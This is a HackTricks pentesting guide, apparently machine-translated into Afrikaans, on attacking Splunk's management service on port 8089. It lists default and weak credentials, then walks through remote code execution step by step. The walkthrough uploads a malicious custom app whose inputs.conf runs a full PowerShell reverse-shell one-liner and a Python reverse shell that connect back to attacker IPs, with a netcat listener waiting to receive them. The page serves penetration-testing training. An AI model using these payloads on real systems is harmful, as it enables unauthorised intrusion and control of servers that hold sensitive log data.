# 8089 - Pentesting Splunkd
Leer AWS-hacking van nul tot held methtARTE (HackTricks AWS Red Team Expert)!
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-repos.
## **Basiese Inligting**
Splunk is 'n **loganalitiese instrument** wat 'n kritieke rol speel in die **versameling, analise en visualisering van data**. Alhoewel sy oorspronklike doel nie was om as 'n **SIEM (Security Information and Event Management)** instrument te dien nie, het dit gewildheid verwerf in die gebied van **sekuriteitsmonitering** en **sakelike analise**.
Splunk-implementasies word dikwels gebruik om **sensitiewe data** te stoor en kan dien as 'n **waardevolle bron van inligting** vir potensiële aanvallers as hulle die stelsel kan kompromitteer.
**Verstekpoort:** 8089
```
PORT STATE SERVICE VERSION
8089/tcp open http Splunkd httpd
```
{% hint style="info" %}
Die **Splunk-webbediener loop standaard op poort 8000**.
{% endhint %}
## Opname
### Gratis weergawe
Die Splunk Enterprise-proef omskep na 'n **gratis weergawe na 60 dae**, wat **geen outentifikasie vereis nie**. Dit is nie ongewoon vir stelseladministrateurs om 'n proefweergawe van Splunk te installeer om dit uit te toets, wat **vervolgens vergeet word**. Dit sal outomaties omskep na die gratis weergawe wat geen vorm van outentifikasie het nie, wat 'n sekuriteitslek in die omgewing inbring. Sommige organisasies mag kies vir die gratis weergawe as gevolg van begrotingsbeperkings, sonder om ten volle te besef wat die implikasies is van geen gebruiker-/rolbestuur nie.
### Standaardlegitimasie
Op ouer weergawes van Splunk is die standaardlegitimasie **`admin:changeme`**, wat gerieflik op die aanmeldingsbladsy vertoon word.\
Die **nuutste weergawe van Splunk** stel egter **legitimasie in tydens die installasieproses**. As die standaardlegitimasie nie werk nie, is dit die moeite werd om te kyk vir algemene swak wagwoorde soos `admin`, `Welcome`, `Welcome1`, `Password123`, ens.
### Verkry inligting
Sodra jy aangemeld is by Splunk, kan jy **data deursoek**, **verslae uitvoer**, **dashboard skep**, **toepassings installeer** vanaf die Splunkbase-biblioteek, en aangepaste toepassings installeer.\
Jy kan ook kode uitvoer: Splunk het verskeie maniere om kode uit te voer, soos bedienerkant Django-toepassings, REST-eindpunte, geskrewe insette en waarskuwingsskripte. 'n Algemene metode om afstandsbeheerkode-uitvoering op 'n Splunk-bediener te verkry, is deur die gebruik van 'n geskrewe inset.
Verder kan Splunk op Windows- of Linux-gashere geïnstalleer word, en geskrewe insette kan geskep word om Bash-, PowerShell- of Batch-skripte uit te voer.
### Shodan
* `Splunk-bou`
## RCE
### Skep aangepaste toepassing
'n Aangepaste toepassing kan **Python-, Batch-, Bash- of PowerShell-skripte** uitvoer.\
Let daarop dat **Splunk met Python geïnstalleer kom**, sodat jy selfs op **Windows**-stelsels python-kode kan uitvoer.
Jy kan [**hierdie**](https://github.com/0xjpuff/reverse\_shell\_splunk) Splunk-pakket gebruik om ons te help. Die **`bin`**-gids in hierdie bewaarplek het voorbeelde vir [Python](https://github.com/0xjpuff/reverse\_shell\_splunk/blob/master/reverse\_shell\_splunk/bin/rev.py) en [PowerShell](https://github.com/0xjpuff/reverse\_shell\_splunk/blob/master/reverse\_shell\_splunk/bin/run.ps1). Kom ons loop hierdie stap-vir-stap deur.
Om dit te bereik, moet ons eers 'n aangepaste Splunk-toepassing skep met die volgende gidsstruktuur:
```shell-session
tree splunk_shell/
splunk_shell/
├── bin
└── default
```
Die **`bin`** gids sal enige **skripte wat ons beoog om uit te voer** (in hierdie geval, 'n **PowerShell** omgekeerde dop) bevat, en die verstek gids sal ons `inputs.conf` lêer hê. Ons omgekeerde dop sal 'n **PowerShell een-liner** wees:
```powershell
$client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close(
```
Die [inputs.conf](https://docs.splunk.com/Documentation/Splunk/latest/Admin/Inputsconf) lêer vertel Splunk **watter skrips om uit te voer** en enige ander voorwaardes. Hier stel ons die app as geaktiveer in en vertel Splunk om die skrips elke 10 sekondes uit te voer. Die interval is altyd in sekondes, en die inset (skrips) sal slegs uitgevoer word as hierdie instelling teenwoordig is.
```shell-session
cat inputs.conf
[script://./bin/rev.py]
disabled = 0
interval = 10
sourcetype = shell
[script://.\bin\run.bat]
disabled = 0
sourcetype = shell
interval = 10
```
Ons benodig die `.bat` lêer wat uitgevoer sal word wanneer die toepassing geïmplementeer word en die PowerShell een-liner uitvoer.
Die volgende stap is om `Installeer toepassing van lêer` te kies en die toepassing op te laai.
Voordat ons die skadelike aangepaste toepassing oplaai, laat ons 'n luisteraar begin deur gebruik te maak van Netcat of [socat](https://linux.die.net/man/1/socat).
```shell-session
sudo nc -lnvp 443
listening on [any] 443 ...
```
Op die `Upload app` bladsy, klik op `deursoek`, kies die tarball wat ons vroeër geskep het en klik op `Upload`. Sodra ons die aansoek oplaai, ontvang ons 'n omgekeerde skul as die status van die aansoek outomaties oorgeskakel word na `Enabled`.
#### Linux
As ons te doen gehad het met 'n Linux-gasheer, sou ons die `rev.py` Python-skripsie moet wysig voordat ons die tarball skep en die aangepaste skadelike aansoek oplaai. Die res van die proses sou dieselfde wees, en ons sou 'n omgekeerde skulverbinding op ons Netcat luisteraar kry en aan die gang wees.
```python
import sys,socket,os,pty
ip="10.10.14.15"
port="443"
s=socket.socket()
s.connect((ip,int(port)))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn('/bin/bash')
```
### RCE & Privilege Escalation
In die volgende bladsy kan jy 'n verduideliking vind oor hoe hierdie diens misbruik kan word om voorregte te verhoog en volharding te verkry:
{% content-ref url="../linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md" %}
[splunk-lpe-and-persistence.md](../linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md)
{% endcontent-ref %}
## Verwysings
* [https://academy.hackthebox.com/module/113/section/1213](https://academy.hackthebox.com/module/113/section/1213)
Leer AWS-hacking van nul tot held methtARTE (HackTricks AWS Red Team Expert)!
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslagplekke.